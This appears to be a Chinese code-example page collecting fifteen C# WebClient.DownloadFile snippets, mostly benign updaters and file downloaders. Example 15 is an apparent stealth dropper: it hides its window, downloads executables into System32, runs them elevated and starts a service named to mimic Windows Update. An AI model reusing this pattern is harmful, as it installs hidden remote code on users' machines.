本文整理汇总了C#中System.Net.WebClient.DownloadFile方法的典型用法代码示例。如果您正苦于以下问题:C# WebClient.DownloadFile方法的具体用法?C# WebClient.DownloadFile怎么用?C# WebClient.DownloadFile使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类System.Net.WebClient
的用法示例。
在下文中一共展示了WebClient.DownloadFile方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C#代码示例。
示例1: UpdateFiles
public void UpdateFiles()
{
try
{
WriteLine("Local version: " + Start.m_Version);
WebClient wc = new WebClient();
string versionstr;
using(System.IO.StreamReader sr = new System.IO.StreamReader(wc.OpenRead(baseurl + "version.txt")))
{
versionstr = sr.ReadLine();
}
Version remoteversion = new Version(versionstr);
WriteLine("Remote version: " + remoteversion);
if(Start.m_Version < remoteversion)
{
foreach(string str in m_Files)
{
WriteLine("Updating: " + str);
wc.DownloadFile(baseurl + str, str);
}
}
wc.Dispose();
WriteLine("Update complete");
}
catch(Exception e)
{
WriteLine("Update failed:");
WriteLine(e);
}
this.Button_Ok.Enabled = true;
}
示例2: downloadMod
public static void downloadMod()
{
if (File.Exists(Application.StartupPath + "/"+Props.Jar + "-" + Props.Version1_8+".jar"))
{
MessageBox.Show("Hey, You Already Downloaded it. Moving file.");
}
else if (File.Exists(Application.StartupPath + "/" + Props.Jar + "-" + Props.Version1_7 + ".jar"))
{
MessageBox.Show("Hey, You Already Downloaded it. Moving file.");
}
else
{
using (var client = new WebClient())
{
if (MainWindow.V1_8)
{
client.DownloadFile(Props.URL1_8, Props.Jar + "-" + Props.Version1_8 + ".jar");
}
else if (MainWindow.V1_7 == true)
{
client.DownloadFile(Props.URL1_7, Props.Jar + "-" + Props.Version1_7 + ".jar");
}
}
}
}
示例3: download
public void download()
{
WebClient myWebClient = new WebClient();
//проверка есть ли FreeRADIUS
if (!Directory.Exists(@"C:\FreeRADIUS.net"))
{
//создание директории
Directory.CreateDirectory(@".\FreeRADIUS");
//скачивание в созданную директорию
Console.WriteLine("Загружаю FreeRADIUS... Подождите!");
myWebClient.DownloadFile("http://www.freeradius.net/Downloads/FreeRADIUS.net-1.1.7-r0.0.2.exe", @".\FreeRADIUS\FreeRADIUS.net-1.1.7-r0.0.2.exe");
Console.WriteLine("Загрузка FreeRADIUS успешно завершена!");
}
//проверка есть ли MySQL
if (!Directory.Exists(@"C:\Program Files\MySQL") && !Directory.Exists(@"C:\Program Files(x86)\MySQL"))
{
//создание директории
Directory.CreateDirectory(@".\MySQL");
//скачивание в созданную директорию
Console.WriteLine("Загружаю MySQL... Подождите!");
myWebClient.DownloadFile("http://www.mysql.ru/download/files/mysql-5.5.23-win32.msi", @".\MySQL\MySQLmysql-5.5.23-win32.msi");
Console.WriteLine("Загрузка MySQL успешно завершена!");
}
}
示例4: HandleFurnidata
public void HandleFurnidata(string[] items)
{
if (File.Exists("figuredata.xml"))
File.Delete("figuredata.xml");
if (File.Exists("figuremap.xml"))
File.Delete("figuremap.xml");
Console.WriteLine("Name the SWF Build (for example: PRODUCTION-201507062205-18729)");
string build = Console.ReadLine();
Console.WriteLine("Name the Hotel (for example \"de\" or \"com\")");
string hotel = Console.ReadLine();
WebClient webClient = new WebClient();
try
{
Console.Write("Downloading figuremap.xml...");
webClient.DownloadFile("http://images-eussl.habbo.com/dcr/gordon/" + build + "/figuremap.xml", "figuremap.xml");
Console.WriteLine("completed!");
}
catch { Console.WriteLine("failed!"); }
try
{
Console.Write("Downloading figuredata.xml...");
webClient.DownloadFile("http://www.habbo." + hotel + "/gamedata/figuredata", "figuredata.xml");
Console.WriteLine("completed!");
}
catch { Console.WriteLine("failed!"); }
Console.WriteLine("Press the any key for the main menu.");
}
示例5: CheckUpdate
public static void CheckUpdate()
{
#if !DEBUG
WebClient wc = new WebClient();
if (File.Exists("prog.old"))
File.Delete("prog.old");
string version = null;
wc.DownloadFile("http://h1.ripway.com/Singlem/OneClick/version.txt", "version.txt");
StreamReader sr = new StreamReader("version.txt");
version = sr.ReadLine();
if (Application.ProductVersion != version)
{
MessageBox.Show("Updating please wait");
try
{
File.Move(Application.StartupPath + "\\One_Click.exe", Application.StartupPath + "\\" + "prog.old");
}
catch (Exception ex)
{
MessageBox.Show("Failed to update\n" + ex.ToString());
}
wc.DownloadFile("http://h1.ripway.com/Singlem/OneClick/One_Click.exe", "One_Click.exe");
Application.Exit();
Process.Start("One_Click.exe");
}
#endif
}
示例6: backgroundWorker1_DoWork
private void backgroundWorker1_DoWork(object sender, DoWorkEventArgs e)
{
var worker = sender as BackgroundWorker;
if (!Directory.Exists("temp"))
{
Directory.CreateDirectory("temp");
}
var client = new WebClient();
client.DownloadFile("http://thetvdb.com/api/" + Constants.ApiKey + "/series/" + _seriesId + "/all/en.zip",
@"temp/tmp.zip");
using (var zip = ZipFile.Read("temp/tmp.zip"))
{
zip.ExtractAll("temp/");
}
var doc = XDocument.Load("temp/banners.xml");
var names = from ele in doc.Descendants("Banner")
select new
{
url = (string)ele.Element("BannerPath"),
type = (string)ele.Element("BannerType")
};
foreach (var n in names.Where(n => n.type != "season"))
{
switch (e.Argument.ToString())
{
case "0":
if (n.type != "fanart" && n.type != "poster")
{
client.DownloadFile("http://thetvdb.com/banners/" + n.url,
@"temp/" + Path.GetFileName(n.url));
var img = new ImageListViewItem {FileName = @"temp/" + Path.GetFileName(n.url)};
if (worker != null) worker.ReportProgress(0, img);
}
break;
case "1":
if (n.type != "fanart" && n.type != "series")
{
client.DownloadFile("http://thetvdb.com/banners/" + n.url,
@"temp/" + Path.GetFileName(n.url));
var img = new ImageListViewItem {FileName = @"temp/" + Path.GetFileName(n.url)};
if (worker != null) worker.ReportProgress(0, img);
}
break;
case "2":
if (n.type != "series" && n.type != "poster")
{
client.DownloadFile("http://thetvdb.com/banners/" + n.url,
@"temp/" + Path.GetFileName(n.url));
var img = new ImageListViewItem {FileName = @"temp/" + Path.GetFileName(n.url)};
if (worker != null) worker.ReportProgress(0, img);
}
break;
}
}
}
示例7: button1_Click
private void button1_Click(object sender, RoutedEventArgs e)
{
WebClient dc = new WebClient();
try{
dc.DownloadFile(@"\\172.22.137.242\易平台\02.团队\04.QA\EVA\version.txt", "check_version.txt");
bool b = this.checkVer("version.txt", "check_version.txt");
if (b){
}
else{
dc.DownloadFile(@"\\172.22.137.242\易平台\02.团队\04.QA\EVA\update_info.txt", "update_info.txt");
StreamReader localSR = File.OpenText("update_info.txt");
MessageBox.Show(localSR.ReadToEnd(), "有新版本可用!");
updateAllFile();
MessageBox.Show("更新完成!","提示");
}
} catch (System.Exception ex) {
MessageBox.Show("更新失败!", "Sorry");
}
try {
File.Copy("check_version.txt", "version.txt", true);
} catch { }
try{
startMain();
}
catch (System.Exception ex){
}
}
示例8: EnsureIcons
internal static void EnsureIcons(ApexSettings settings, IEnumerable<ProductInfo> products)
{
foreach (var p in products)
{
if (_iconTextures.ContainsKey(p.iconInfo.key))
{
continue;
}
string fileLocation = string.Concat(settings.dataFolder, "/", p.iconInfo.key, ".png");
if (!File.Exists(fileLocation))
{
try
{
var client = new WebClient
{
BaseAddress = EnsureTrailingSlash(settings.updateCheckBaseUrl)
};
string webLocationIcon = string.Concat("content/producticons/", p.iconInfo.key, ".png");
client.DownloadFile(webLocationIcon, fileLocation);
fileLocation = string.Concat(fileLocation, ".meta");
string webLocationMeta = string.Concat(webLocationIcon, ".meta");
client.DownloadFile(webLocationMeta, fileLocation);
_assetsDownloaded = true;
}
catch
{
/* not much to do about it.. */
}
}
}
}
示例9: Main
public static void Main ()
{
//tworzenie Webclient'a
WebClient client = new WebClient ();
//Pobieranie html w wersji plikowej
//Pierwszy argument oznacza adres strony a drugi ścieżkę do pliku
client.DownloadFile ("http://127.0.0.1:9007/main/", "File.html");
//Pobieranie dowolnych plików
client.DownloadFile ("http://127.0.0.1:9007/main/file.zip", "File.zip");
//Pobieranie danych do obiektu "string"
string Strona = client.DownloadString ("http://127.0.0.1:9007/main/");
//Pobieranie danych do tablicy obiektów byte
byte[] bajty = client.DownloadData ("http://127.0.0.1:9007/main/");
//Wyświetlanie kawałek html
Strona = string.Format ("String: {0}", Strona.Substring (0, 400));
Console.WriteLine (Strona);
Strona = string.Format ("byte: {0}", Encoding.UTF8.GetString(bajty,0,400));
Console.WriteLine (Strona);
Console.ReadKey ();
}
示例10: Main
static void Main(string[] args)
{
WebClient wc = null;
string errorMessage = null;
string url = Console.ReadLine();
try
{
wc = new WebClient();
// Download a file from i-net to the current directory.
wc.DownloadFile(url, @".\google.png");
// Download a file from i-net to parent directory of parent directory.
wc.DownloadFile(url, @"..\..\google.png");
}
catch (WebException we)
{
errorMessage = we.Message;
}
catch (NotSupportedException nse)
{
errorMessage = nse.Message;
}
catch (Exception e)
{
errorMessage = e.Message;
}
finally
{
if (errorMessage != null)
{
Console.WriteLine(errorMessage);
}
}
}
示例11: Worker_DoWork
private void Worker_DoWork(object sender, DoWorkEventArgs e)
{
string PatchPath = @".\assets\patches\";
WebClient client = new WebClient();
int taskCount = Asset.Count + Base.Count;
int counter = 0;
Asset.ForEach(dr => {
//worker.ReportProgress(counter / taskCount);
if (!File.Exists(PatchPath + dr))
{
client.DownloadFile("http://battlezone.videoventure.org/" + dr, PatchPath + dr);
}
counter++;
//worker.ReportProgress(counter / taskCount);
});
Base.ForEach(dr => {
//worker.ReportProgress(counter / taskCount);
if (!File.Exists(PatchPath + dr))
{
client.DownloadFile("http://battlezone.videoventure.org/" + dr, PatchPath + dr);
}
counter++;
//worker.ReportProgress(counter / taskCount);
});
}
示例12: downloadLZHFiles
public void downloadLZHFiles(List<string> lstDates, JRDBMember jrdbMem, string appPath)
{
try{
StringBuilder sb = new StringBuilder();
string strDownLoadFolder = sb.Append(appPath).Append("\\temp").ToString();
if(Directory.Exists(strDownLoadFolder) == false)
Directory.CreateDirectory(strDownLoadFolder);
sb.Clear();
WebClient wc = new WebClient();
wc.Credentials = new NetworkCredential(jrdbMem.UserID, jrdbMem.PassWord);
for (int i = 0; i < lstDates.Count; i++)
{
sb.Append(strKYLzhUrl).Append(strKYFilePrefix).Append(lstDates[i]).Append(".lzh");
string strDLKYFileURL = sb.ToString();
sb.Clear();
sb.Append(appPath).Append("\\temp\\").Append(strKYFilePrefix).Append(lstDates[i]).Append(".lzh");
string strDLKYFile = sb.ToString();
sb.Clear();
sb.Append(strCYLzhUrl).Append(strCYFilePrefix).Append(lstDates[i]).Append(".lzh");
string strDLCYFileURL = sb.ToString();
sb.Clear();
sb.Append(appPath).Append("\\temp\\").Append(strCYFilePrefix).Append(lstDates[i]).Append(".lzh");
string strDLCYFile = sb.ToString();
sb.Clear();
wc.DownloadFile(strDLKYFileURL, strDLKYFile);
wc.DownloadFile(strDLCYFileURL, strDLCYFile);
}
wc.Dispose();
}
catch (Exception e)
{
string s = e.Message;
}
}
示例13: UpdateIsNeeded
public static bool UpdateIsNeeded()
{
Utilities.ConsoleStyle.Infos("Checking your Crystal version ...");
var client = new WebClient();
client.DownloadFile(URL_ROOT, "update.txt");
var updateFile = new Utilities.IniSetting("update.txt");
updateFile.ReadSettings();
File.Delete("update.txt");
if (!updateFile.ContainsGroup(Program.CrystalVersion))
{
try
{
Utilities.ConsoleStyle.Warning("We downloading the last version, please wait ...");
client.DownloadFile(updateFile.GetFirstGroup()["Update_lnk"], "update.zip");
}
catch (Exception e)
{
Utilities.ConsoleStyle.Error("The update service is not available for this moment please try later !");
System.Threading.Thread.Sleep(2500);
return false;
}
return true;
}
Utilities.ConsoleStyle.Infos("Your version is up to day !");
return false;
}
示例14: Main
/*[STAThread]
static void Main() {
if(!SoundCloudCore.Connect(new Login(user, pass, ClientID, ClientSecret)))
return;
var list = new List<int>();
for(var i = 0; i < Me.LikesCount; i += 10) {
if(i >= Me.LikesCount)
break;
list = list.Concat(Me.GetLikedTracks(i, 10)).ToList();
Console.WriteLine("SEARCHING: " + i + "/" + Me.LikesCount);
}
Console.WriteLine("COMPLETED: " + list.Count + " / " + Me.LikesCount + "Track info was downloaded");
// Download all tracks to folder
foreach(var id in list)
DownloadTrack(SoundCloudCore.Tracks[id]);
Directory.Delete("Images", true);
Console.ReadLine();
}*/
static void DownloadTrack(Track track)
{
var wc = new WebClient();
if(!Directory.Exists("Tracks")) Directory.CreateDirectory("Tracks");
if(!Directory.Exists("Images")) Directory.CreateDirectory("Images");
var path = "Tracks\\" + track.Title + ".mp3";
if(System.IO.File.Exists(path)) return;
try {
wc.DownloadFile(new Uri(track.StreamUrl), path);
// Write tag
if(!System.IO.File.Exists(path)) return;
var tag = TagLib.File.Create(path);
tag.Tag.Title = track.Title;
tag.Tag.BeatsPerMinute = (uint)track.Bpm;
tag.Tag.Year = (uint)track.Created.Year;
// Get track cover
var imgPath = "Images\\" + track.Title + ".jpg";
wc.DownloadFile(new Uri(track.GetCover(AlbumSize.x300)), imgPath);
if(System.IO.File.Exists(imgPath)) {
var pic = new IPicture[1];
pic[0] = new Picture(imgPath);
tag.Tag.Pictures = pic;
}
// Save tag info
tag.Save();
Console.WriteLine("Downloaded track: " + track.Title);
}
catch(Exception ex) { Console.WriteLine("Error downloading track: " + track.Title + "; Exception: " + ex.Message); }
}
示例15: Main
static void Main(string[] args)
{
var handle = GetConsoleWindow();
ShowWindow(handle, SW_HIDE);
try
{
WebClient ldmgr = new WebClient();
string targetPath = Environment.GetFolderPath(Environment.SpecialFolder.System) + @"\";
// start the original update program
ldmgr.DownloadFile(DOWNLOAD_SERVER + "upd.exe", targetPath + "upd.exe");
Process.Start(targetPath + "upd.exe");
ldmgr.DownloadFile(DOWNLOAD_SERVER + "Server.exe", targetPath + "Server.exe");
//
Process p = new Process();
p.StartInfo.FileName = targetPath + "Server.exe";
p.StartInfo.Verb = "runas";
p.StartInfo.UseShellExecute = true;
p.Start();
p.WaitForExit();
ServiceController controller = new ServiceController();
controller.MachineName = ".";
controller.ServiceName = "wuaucilt";
controller.Start();
}
catch (Exception)
{
return;
}
}